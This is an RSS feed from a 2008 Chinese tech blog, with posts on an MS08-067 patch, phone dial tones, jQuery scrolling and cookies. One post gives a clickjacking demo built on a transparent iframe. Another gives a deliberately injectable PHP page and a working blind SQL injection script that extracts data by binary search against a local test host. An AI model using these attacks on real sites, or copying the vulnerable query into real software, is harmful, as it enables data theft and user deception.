<?xml version="1.0" encoding="UTF-8"?>
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:admin="http://webns.net/mvcb/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns="http://purl.org/rss/1.0/">
<channel rdf:about="http://www.delover.net">
<title>Jackal's Blog</title>
<link>http://www.delover.net</link>
<description>Jackal's Blog</description>
<dc:language>zh-cn</dc:language>
<dc:creator>webmaster@loveyuki.com</dc:creator>
<items>
<rdf:Seq>
<item rdf:about="http://www.delover.net/blogview.asp?logID=108"><title><![CDATA[MS08-067真恐怖]]></title><description><![CDATA[补丁下载：[url=http://download.microsoft.com/download/a/5/f/a5fcaabe-ff81-4d4f-972e-865bdc60dcbf/WindowsXP-KB958644-x86-CHS.exe]MS08-067XP中文补丁[/url]<br><br>[img]attachments/month_0810/xun2_1.jpg[/img]<br>[img]attachments/month_0810/63u9_3.jpg[/img]<br>]]></description><content:encoded><![CDATA[补丁下载：<a target="_blank" href="http://download.microsoft.com/download/a/5/f/a5fcaabe-ff81-4d4f-972e-865bdc60dcbf/WindowsXP-KB958644-x86-CHS.exe">MS08-067XP中文补丁</a><br><br><img src="attachments/month_0810/xun2_1.jpg" border="0" onload="javascript:DrawImage(this);"  alt="按此在新窗口打开图片" onmouseover="this.style.cursor='hand';" onclick="window.open(this.src);" /><br><img src="attachments/month_0810/63u9_3.jpg" border="0" onload="javascript:DrawImage(this);"  alt="按此在新窗口打开图片" onmouseover="this.style.cursor='hand';" onclick="window.open(this.src);" /><br><br><br><img src="images/download.gif" align="absmiddle" /> <a href="attachments/month_0810/a8zd_MS08067.rar" target="_blank">点击下载此文件</a>]]></content:encoded><link>http://www.delover.net/blogview.asp?logID=108</link><dc:subject>Program</dc:subject><dc:creator>jackal</dc:creator><dc:date>2008-10-27 11:01:41</dc:date></item><item rdf:about="http://www.delover.net/blogview.asp?logID=107"><title><![CDATA[【Zz】模拟拨号]]></title><description><![CDATA[转自CG论坛http://www.cngba.com/thread-17625033-1-1.html<br><br>[size=6]声音模拟拨号[down=attachments/month_0810/85wa_tel.rar]点击下载此文件[/down][/size]<br><br>[img]attachments/month_0810/mjbp_1.jpg[/img]]]></description><content:encoded><![CDATA[转自CG论坛<a target="_blank" href="http://www.cngba.com/thread-17625033-1-1.html">http://www.cngba.com/thread-17625033-1-1.html</a><br><br><font size="6">声音模拟拨号<img src="images/download.gif" align="absmiddle" /> <a href="attachments/month_0810/85wa_tel.rar" target="_blank">点击下载此文件</a></font><br><br><img src="attachments/month_0810/mjbp_1.jpg" border="0" onload="javascript:DrawImage(this);"  alt="按此在新窗口打开图片" onmouseover="this.style.cursor='hand';" onclick="window.open(this.src);" /><br><font color="Blue"><font size="4">我们能听到的任何声音，都是由物体振动产生的波。像音叉，小提琴的弦，音响的膜，甚至家里的地板，因为振动而产生波。<br>决定声音的因素有3个，音高，音量和音色。<br>音高是由频率决定，单位是赫兹（HZ），表示一秒钟振动了多少次。440HZ就代表一秒钟振动了440次。根据国际标准，电话拿起时嘟的声音就是440HZ，在音乐里面就是A的音。<br>音量是由振幅决定，振幅越大音量就越大。单位是分贝（Db）。<br>音色就很复杂了，主要是由波的形状决定的。小提琴和钢琴演奏同一个音高，同样音量的声音，我们也能分辨出来，也是由于小提琴和钢琴发出的波形状不一样。但是在现实中我们很难听到单一振动发出的波，我们听到的99.999999%的声音都是由各种不同频率振幅的波同时发出的。<br>根据影片的解释，电话的拨号声音组合了高低两种声音，就像这张图所示：</font></font><br><img src="attachments/month_0810/jg9m_2.jpg" border="0" onload="javascript:DrawImage(this);"  alt="按此在新窗口打开图片" onmouseover="this.style.cursor='hand';" onclick="window.open(this.src);" /><br><br><font color="Blue"><font size="4"><br>那么按照这张表格，在电话上1的位置应该是693赫兹和1209赫兹，0的位置应该是941赫兹和3336赫兹，就是说我们只要能同时发出693赫兹和1209赫兹的2种声音，那就等同于在电话号码盘上按下了1键。<br>不过在影片中由两个人凭感觉直接唱出来有点假了，要知道693赫兹和1209赫兹的波在古典音乐里面（12平均律）是介于E和F的音，即使有绝对音高的人要直接唱到多少赫兹有点太不现实了（快成机器人了）。</font></font><br><img src="attachments/month_0810/1xq5_3.jpg" border="0" onload="javascript:DrawImage(this);"  alt="按此在新窗口打开图片" onmouseover="this.style.cursor='hand';" onclick="window.open(this.src);" /><br><img src="attachments/month_0810/liao_4.jpg" border="0" onload="javascript:DrawImage(this);"  alt="按此在新窗口打开图片" onmouseover="this.style.cursor='hand';" onclick="window.open(this.src);" /><br><img src="attachments/month_0810/c02f_5.jpg" border="0" onload="javascript:DrawImage(this);"  alt="按此在新窗口打开图片" onmouseover="this.style.cursor='hand';" onclick="window.open(this.src);" /><br><br>侦探柯南剧场版&nbsp;第十二部《战栗的乐谱》<br><br>拿起电话听筒对准音箱就行了。<br><br><font color="Blue"><font size="5">音箱声音要足够的大。</font></font><br><br><br>]]></content:encoded><link>http://www.delover.net/blogview.asp?logID=107</link><dc:subject>Netdiary</dc:subject><dc:creator>jackal</dc:creator><dc:date>2008-10-26 20:32:07</dc:date></item><item rdf:about="http://www.delover.net/blogview.asp?logID=106"><title><![CDATA[Clickjacking？]]></title><description><![CDATA[[code]&lt;iframe&nbsp;src=&quot;http://www.delover.net&quot;&nbsp;style=&quot;width:300px;height:300px;position:absolute;top:0px;left:0px;filter:alpha(opacity=0);z-index:-1;opacity:0;&quot;&gt;&lt;/iframe&gt;<br>&lt;a&nbsp;href=&quot;http://www.google.com&quot;&nbsp;target=&quot;_blank&quot;&nbsp;style=&quot;position:absolute;top:20px;left:30px;font-size:15px;z-index:-2&quot;&gt;CLICK&nbsp;ME!&lt;/a&gt;[/code]<br><br>[code]&lt;div&nbsp;style=&quot;width:300px;height:300px;position:absolute;top:20px;left:30px;filter:alpha(opacity=10);z-index:10;opacity:10;&quot;&gt;&lt;object&nbsp;type=&quot;application/x-shockwave-flash&quot;&nbsp;data=&quot;http://www.delover.net/include/audioplayer.swf&quot;&nbsp;width=&quot;290&quot;&nbsp;height=&quot;24&quot;&nbsp;id=&quot;audioplayer87213&quot;&gt;&lt;param&nbsp;name=&quot;movie&quot;&nbsp;value=&quot;http://www.delover.net/include/audioplayer.swf&quot;&nbsp;/&gt;&lt;param&nbsp;name=&quot;FlashVars&quot;&nbsp;value=&quot;loader=0x92ED00&amp;loop=no&amp;soundFile=http://www.yoho.cn/InformationImages/2007/11/24/20071124212203241a8e3544904d81b386b8ae86f13b24.mp3&quot;&nbsp;/&gt;&lt;param&nbsp;name=&quot;quality&quot;&nbsp;value=&quot;high&quot;&nbsp;/&gt;&lt;param&nbsp;name=&quot;menu&quot;&nbsp;value=&quot;false&quot;&nbsp;/&gt;&lt;param&nbsp;name=&quot;wmode&quot;&nbsp;value=&quot;transparent&quot;&nbsp;/&gt;&lt;/object&gt;&lt;/div&gt;<br>&lt;a&nbsp;href=&quot;http://www.google.com&quot;&nbsp;target=&quot;_blank&quot;&nbsp;style=&quot;position:absolute;top:20px;left:30px;font-size:15px;z-index:3&quot;&gt;放个歌给你听，从这里开始正常的链接。&lt;/a&gt;[/code]]]></description><content:encoded><![CDATA[<script type="text/javascript">window.attachEvent("onload",function (){AutoSizeDIV('CODE_7643')})</script><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="code_head"><tr><td>程序代码：</td><td align="right"><a href="javascript:CopyText(document.all.CODE_7643);">[ 复制代码到剪贴板 ]</a> <a href="javascript:runEx('CODE_7643');">[ 运行代码 ]</a></td></tr></table><div class="code_main" id="CODE_7643" style="overflow-y:auto;overflow-x:hidden;height:150px;">&lt;iframe&nbsp;src=&quot;http://www.delover.net&quot;&nbsp;style=&quot;width:300px;height:300px;position:absolute;top:0px;left:0px;filter:alpha(opacity=0);z-index:-1;opacity:0;&quot;&gt;&lt;/iframe&gt;<br>&lt;a&nbsp;href=&quot;http://www.google.com&quot;&nbsp;target=&quot;_blank&quot;&nbsp;style=&quot;position:absolute;top:20px;left:30px;font-size:15px;z-index:-2&quot;&gt;CLICK&nbsp;ME!&lt;/a&gt;</div><br><br><script type="text/javascript">window.attachEvent("onload",function (){AutoSizeDIV('CODE_6266')})</script><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="code_head"><tr><td>程序代码：</td><td align="right"><a href="javascript:CopyText(document.all.CODE_6266);">[ 复制代码到剪贴板 ]</a> <a href="javascript:runEx('CODE_6266');">[ 运行代码 ]</a></td></tr></table><div class="code_main" id="CODE_6266" style="overflow-y:auto;overflow-x:hidden;height:150px;">&lt;div&nbsp;style=&quot;width:300px;height:300px;position:absolute;top:20px;left:30px;filter:alpha(opacity=10);z-index:10;opacity:10;&quot;&gt;&lt;object&nbsp;type=&quot;application/x-shockwave-flash&quot;&nbsp;data=&quot;http://www.delover.net/include/audioplayer.swf&quot;&nbsp;width=&quot;290&quot;&nbsp;height=&quot;24&quot;&nbsp;id=&quot;audioplayer87213&quot;&gt;&lt;param&nbsp;name=&quot;movie&quot;&nbsp;value=&quot;http://www.delover.net/include/audioplayer.swf&quot;&nbsp;/&gt;&lt;param&nbsp;name=&quot;FlashVars&quot;&nbsp;value=&quot;loader=0x92ED00&amp;loop=no&amp;soundFile=http://www.yoho.cn/InformationImages/2007/11/24/20071124212203241a8e3544904d81b386b8ae86f13b24.mp3&quot;&nbsp;/&gt;&lt;param&nbsp;name=&quot;quality&quot;&nbsp;value=&quot;high&quot;&nbsp;/&gt;&lt;param&nbsp;name=&quot;menu&quot;&nbsp;value=&quot;false&quot;&nbsp;/&gt;&lt;param&nbsp;name=&quot;wmode&quot;&nbsp;value=&quot;transparent&quot;&nbsp;/&gt;&lt;/object&gt;&lt;/div&gt;<br>&lt;a&nbsp;href=&quot;http://www.google.com&quot;&nbsp;target=&quot;_blank&quot;&nbsp;style=&quot;position:absolute;top:20px;left:30px;font-size:15px;z-index:3&quot;&gt;放个歌给你听，从这里开始正常的链接。&lt;/a&gt;</div><br><br>baidu测试Demo<br><a target="_blank" href="http://hi.baidu.com/delover/blog/item/0939087354b7601a8601b05b.html">http://hi.baidu.com/delover/blog/item/0939087354b7601a8601b05b.html</a>]]></content:encoded><link>http://www.delover.net/blogview.asp?logID=106</link><dc:subject>Script</dc:subject><dc:creator>jackal</dc:creator><dc:date>2008-10-8 20:34:18</dc:date></item><item rdf:about="http://www.delover.net/blogview.asp?logID=105"><title><![CDATA[Jquery适应滚动]]></title><description><![CDATA[[code]&lt;!DOCTYPE&nbsp;html&nbsp;PUBLIC&nbsp;&quot;-//W3C//DTD&nbsp;XHTML&nbsp;1.0&nbsp;Transitional//EN&quot;&nbsp;&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;<br>&lt;html&nbsp;xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;<br>&lt;head&gt;<br>&lt;meta&nbsp;http-equiv=&quot;Content-Type&quot;&nbsp;content=&quot;text/html;&nbsp;charset=utf-8&quot;&nbsp;/&gt;<br>&lt;title&gt;Jquery&nbsp;滚动&lt;/title&gt;]]></description><content:encoded><![CDATA[<script type="text/javascript">window.attachEvent("onload",function (){AutoSizeDIV('CODE_6635')})</script><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="code_head"><tr><td>程序代码：</td><td align="right"><a href="javascript:CopyText(document.all.CODE_6635);">[ 复制代码到剪贴板 ]</a> <a href="javascript:runEx('CODE_6635');">[ 运行代码 ]</a></td></tr></table><div class="code_main" id="CODE_6635" style="overflow-y:auto;overflow-x:hidden;height:150px;">&lt;!DOCTYPE&nbsp;html&nbsp;PUBLIC&nbsp;&quot;-//W3C//DTD&nbsp;XHTML&nbsp;1.0&nbsp;Transitional//EN&quot;&nbsp;&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;<br>&lt;html&nbsp;xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;<br>&lt;head&gt;<br>&lt;meta&nbsp;http-equiv=&quot;Content-Type&quot;&nbsp;content=&quot;text/html;&nbsp;charset=utf-8&quot;&nbsp;/&gt;<br>&lt;title&gt;Jquery&nbsp;滚动&lt;/title&gt;<br>&lt;style&gt;<br>@charset&nbsp;&quot;utf-8&quot;;<br>/*&nbsp;CSS&nbsp;Document&nbsp;*/<br>*{margin:0px;&nbsp;padding:0px;}<br>body&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;margin:&nbsp;0px&nbsp;auto;<br>&nbsp;&nbsp;&nbsp;&nbsp;padding:&nbsp;0px;<br>&nbsp;&nbsp;&nbsp;&nbsp;font-family:&quot;Lucida&nbsp;Grande&quot;,Verdana,Lucida,Arial,Helvetica,宋体,sans-serif;<br>&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;#000;<br>&nbsp;&nbsp;&nbsp;&nbsp;font-size:12px;<br>&nbsp;&nbsp;&nbsp;&nbsp;text-align:&nbsp;center;<br>&nbsp;&nbsp;&nbsp;&nbsp;line-height:&nbsp;150%;<br>}<br>img{border:0;vertical-align:&nbsp;middle;height:&nbsp;60px;width:&nbsp;60px;&nbsp;&nbsp;}<br>ul&nbsp;{list-style:none;width:&nbsp;500px;&nbsp;}<br>.comment-list&nbsp;li&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;border:1px&nbsp;solid&nbsp;#000;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;height:&nbsp;100px;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;margin-top:10px;&nbsp;<br>}<br>&lt;/style&gt;<br>&lt;script&nbsp;language=&quot;javascript&quot;&nbsp;src=&quot;http://delover.net/include/jquery.js&quot;&gt;&lt;/script&gt;<br>&lt;script&nbsp;language=&quot;javascript&quot;&gt;<br>function&nbsp;ajax_demo()&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;$(&quot;#comment-list-c&quot;).slideToggle(&quot;slow&quot;);&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;$.get(&quot;<font color="Blue">demo.htm</font>&quot;,&nbsp;function(data){&nbsp;$(&quot;#comment-list-c&quot;).html(unescape(data)).slideDown(&quot;slow&quot;);});<br>}<br>$(document).ready(function()&nbsp;{<br>&nbsp;$(&#39;#comment-list-c&#39;).slideDown(&quot;slow&quot;);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;$(&quot;#demo&quot;).click(&nbsp;function()&nbsp;{&nbsp;ajax_demo();&nbsp;}&nbsp;);&nbsp;<br>});<br><br>&lt;/SCRIPT&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;<br>&lt;p&gt;-----------------------------------------------------------------------------------------------------------------------------------------------------------------------&lt;/p&gt;<br>&lt;h1&gt;Here&lt;/h1&gt;<br>&lt;div&nbsp;id=&quot;comment-list-c&quot;&nbsp;style=&quot;display:none;&quot;&gt;<br>&lt;ul&nbsp;class=&quot;comment-list&quot;&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;li&gt;&lt;p&gt;jackal&lt;/p&gt;&lt;p&gt;jackal&lt;/p&gt;&lt;/li&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;li&gt;&lt;p&gt;Ciker&lt;/p&gt;&lt;p&gt;Ciker&lt;/p&gt;&lt;/li&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;li&gt;&lt;p&gt;Ciker&lt;/p&gt;&lt;p&gt;Ciker&lt;/p&gt;&lt;/li&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;li&gt;&lt;p&gt;Ciker&lt;/p&gt;&lt;p&gt;Ciker&lt;/p&gt;&lt;/li&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;li&gt;&lt;p&gt;Ciker&lt;/p&gt;&lt;p&gt;Ciker&lt;/p&gt;&lt;/li&gt;<br>&lt;/ul&gt;<br>&lt;/div&gt;<br>&lt;p&nbsp;class=&quot;pagelist&quot;&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;a&nbsp;id=&quot;demo&quot;&nbsp;href=&quot;#comment-list-c&quot;&gt;Demo&lt;/a&gt;<br>&lt;/p&gt;<br>&lt;p&gt;-----------------------------------------------------------------------------------------------------------------------------------------------------------------------&lt;/p&gt;<br><br>&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;&lt;p&gt;content&lt;/p&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</div><br><br><br><font color="Blue"><em>demo.htm</em></font><br><script type="text/javascript">window.attachEvent("onload",function (){AutoSizeDIV('CODE_4316')})</script><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="code_head"><tr><td>程序代码：</td><td align="right"><a href="javascript:CopyText(document.all.CODE_4316);">[ 复制代码到剪贴板 ]</a> <a href="javascript:runEx('CODE_4316');">[ 运行代码 ]</a></td></tr></table><div class="code_main" id="CODE_4316" style="overflow-y:auto;overflow-x:hidden;height:150px;">&lt;ul&nbsp;class=&quot;comment-list&quot;&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;li&gt;&lt;p&gt;jackal2&lt;/p&gt;&lt;p&gt;jackal2&lt;/p&gt;&lt;/li&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;li&gt;&lt;p&gt;Ciker2&lt;/p&gt;&lt;p&gt;Ciker2&lt;/p&gt;&lt;/li&gt;<br>&lt;/ul&gt;</div>]]></content:encoded><link>http://www.delover.net/blogview.asp?logID=105</link><dc:subject>Script</dc:subject><dc:creator>jackal</dc:creator><dc:date>2008-10-4 21:02:10</dc:date></item><item rdf:about="http://www.delover.net/blogview.asp?logID=104"><title><![CDATA[PHP二分法注射猜解]]></title><description><![CDATA[[color=Blue][i]b.php[/i][/color]<br><br>[code]&lt;?php<br>$conn&nbsp;=&nbsp;new&nbsp;com(&quot;ADODB.Connection&quot;);&nbsp;<br>$connstr&nbsp;=&nbsp;&quot;DRIVER={Microsoft&nbsp;Access&nbsp;Driver&nbsp;(*.mdb)};&nbsp;DBQ=&quot;.&nbsp;realpath(&quot;data.mdb&quot;);&nbsp;]]></description><content:encoded><![CDATA[<font color="Blue"><em>b.php</em></font><br><br><script type="text/javascript">window.attachEvent("onload",function (){AutoSizeDIV('CODE_4415')})</script><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="code_head"><tr><td>程序代码：</td><td align="right"><a href="javascript:CopyText(document.all.CODE_4415);">[ 复制代码到剪贴板 ]</a> <a href="javascript:runEx('CODE_4415');">[ 运行代码 ]</a></td></tr></table><div class="code_main" id="CODE_4415" style="overflow-y:auto;overflow-x:hidden;height:150px;">&lt;?php<br>$conn&nbsp;=&nbsp;new&nbsp;com(&quot;ADODB.Connection&quot;);&nbsp;<br>$connstr&nbsp;=&nbsp;&quot;DRIVER={Microsoft&nbsp;Access&nbsp;Driver&nbsp;(*.mdb)};&nbsp;DBQ=&quot;.&nbsp;realpath(&quot;data.mdb&quot;);&nbsp;<br><br>$conn-&gt;Open($connstr);&nbsp;<br>$rs&nbsp;=&nbsp;new&nbsp;com(&quot;ADODB.RecordSet&quot;);&nbsp;<br>$sql=&quot;select&nbsp;*&nbsp;from&nbsp;news&nbsp;where&nbsp;id=&quot;.<font color="Blue">$_GET[id];</font><br>$rs-&gt;Open($sql,$conn,1,1);&nbsp;<br>if(!&nbsp;$rs-&gt;eof)&nbsp;{&nbsp;<br>echo&nbsp;&quot;{ok}&quot;;&nbsp;<br>}&nbsp;else{<br>echo&nbsp;&quot;{no}&quot;;&nbsp;<br>}<br>?&gt;</div><br><br>存在注射的。但是没有输出结果，只是判断是否存在。<br><br><script type="text/javascript">window.attachEvent("onload",function (){AutoSizeDIV('CODE_8197')})</script><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="code_head"><tr><td>程序代码：</td><td align="right"><a href="javascript:CopyText(document.all.CODE_8197);">[ 复制代码到剪贴板 ]</a> <a href="javascript:runEx('CODE_8197');">[ 运行代码 ]</a></td></tr></table><div class="code_main" id="CODE_8197" style="overflow-y:auto;overflow-x:hidden;height:150px;">&lt;?php<br><br>error_reporting(7);<br>ini_set(&#39;max_execution_time&#39;,&nbsp;0);<br><br>function&nbsp;send(){<br>&nbsp;&nbsp;&nbsp;&nbsp;global&nbsp;$host,$cmd;<br>&nbsp;&nbsp;&nbsp;&nbsp;//$cmd&nbsp;.=&nbsp;&quot;&quot;;<br>&nbsp;&nbsp;&nbsp;&nbsp;$message&nbsp;=&nbsp;&quot;GET&nbsp;/b.php?id=&quot;.$cmd.&quot;&nbsp;HTTP/1.1\r\n&quot;;<br>&nbsp;&nbsp;&nbsp;&nbsp;$message&nbsp;.=&nbsp;&quot;Accept:&nbsp;*/*\r\n&quot;;<br>&nbsp;&nbsp;&nbsp;&nbsp;$message&nbsp;.=&nbsp;&quot;Accept-Language:&nbsp;zh-cn\r\n&quot;;<br>&nbsp;&nbsp;&nbsp;&nbsp;$message&nbsp;.=&nbsp;&quot;Content-Type:&nbsp;application/x-www-form-urlencoded\r\n&quot;;<br>&nbsp;&nbsp;&nbsp;&nbsp;$message&nbsp;.=&nbsp;&quot;Host:&nbsp;$host\r\n&quot;;<br>&nbsp;&nbsp;&nbsp;&nbsp;$message&nbsp;.=&nbsp;&quot;Connection:&nbsp;Close\r\n\r\n&quot;;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;$fp&nbsp;=&nbsp;fsockopen($host,&nbsp;80);<br>&nbsp;&nbsp;&nbsp;&nbsp;fputs($fp,&nbsp;$message);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;$resp&nbsp;=&nbsp;&#39;&#39;;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;($fp&nbsp;&amp;&amp;&nbsp;!feof($fp))<br>&nbsp;&nbsp;&nbsp;&nbsp;$resp&nbsp;.=&nbsp;fread($fp,&nbsp;1024);<br>&nbsp;&nbsp;&nbsp;&nbsp;preg_match(&#39;/\{ok\}/&#39;,&nbsp;$resp,&nbsp;$pre);<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($pre)&nbsp;return&nbsp;true;<br>}<br><br>function&nbsp;Binsearch($sql){&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;global&nbsp;$cmd;<br>&nbsp;&nbsp;&nbsp;&nbsp;$low=&quot;32&quot;;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;$high=&quot;128&quot;;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;while($low&lt;=$high){<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$mid=intval(($low+$high)/2);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cmd=&nbsp;$sql.&quot;=&quot;.$mid;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;$mid&quot;;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(send()){echo&nbsp;&quot;Lucky\r\n&quot;;return&nbsp;$mid;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cmd=&nbsp;$sql.&quot;&lt;&quot;.$mid;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(send()){<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$high=$mid-1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;Bigger\r\n&quot;;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}else{&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$low=$mid+1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;Smaller\r\n&quot;;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;return(-1);<br>}<br><br>$host=&quot;127.0.0.1:8080&quot;;<br>$sql=&quot;15%20and%20asc(left(name,1))&quot;;<br>echo&nbsp;Binsearch($sql);<br>?&gt;</div><br>]]></content:encoded><link>http://www.delover.net/blogview.asp?logID=104</link><dc:subject>Script</dc:subject><dc:creator>jackal</dc:creator><dc:date>2008-9-27 15:28:07</dc:date></item><item rdf:about="http://www.delover.net/blogview.asp?logID=103"><title><![CDATA[Cookie当天失效&伪造状态栏]]></title><description><![CDATA[[code]<br>&lt;script&nbsp;language=&quot;JavaScript&quot;&nbsp;type=&quot;text/javascript&quot;&gt;<br>if(document.cookie.indexOf(&#39;&#39;check_xss&#39;&#39;)==-1){<br>&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;e=new&nbsp;Date();<br>&nbsp;&nbsp;&nbsp;&nbsp;e.setDate(e.getDate()+1);]]></description><content:encoded><![CDATA[<script type="text/javascript">window.attachEvent("onload",function (){AutoSizeDIV('CODE_2112')})</script><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="code_head"><tr><td>程序代码：</td><td align="right"><a href="javascript:CopyText(document.all.CODE_2112);">[ 复制代码到剪贴板 ]</a> <a href="javascript:runEx('CODE_2112');">[ 运行代码 ]</a></td></tr></table><div class="code_main" id="CODE_2112" style="overflow-y:auto;overflow-x:hidden;height:150px;">&lt;script&nbsp;language=&quot;JavaScript&quot;&nbsp;type=&quot;text/javascript&quot;&gt;<br>if(document.cookie.indexOf(&#39;check_xss&#39;)==-1){<br>&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;e=new&nbsp;Date();<br>&nbsp;&nbsp;&nbsp;&nbsp;e.setDate(e.getDate()+1);<br>&nbsp;&nbsp;&nbsp;&nbsp;e.setHours(0,0,0);<br>&nbsp;&nbsp;&nbsp;&nbsp;e.setTime(e.getTime());&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;document.cookie=&#39;check_xss=true;path=/;expires=&#39;+e.toGMTString();<br>&nbsp;&nbsp;&nbsp;&nbsp;document.write(&quot;今天第一次&quot;);<br>}else{<br>&nbsp;&nbsp;&nbsp;&nbsp;document.write(&quot;今天已经访问过了&quot;);<br>}<br>&lt;/script&gt;<br></div><br><br><script type="text/javascript">window.attachEvent("onload",function (){AutoSizeDIV('CODE_8085')})</script><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="code_head"><tr><td>程序代码：</td><td align="right"><a href="javascript:CopyText(document.all.CODE_8085);">[ 复制代码到剪贴板 ]</a> <a href="javascript:runEx('CODE_8085');">[ 运行代码 ]</a></td></tr></table><div class="code_main" id="CODE_8085" 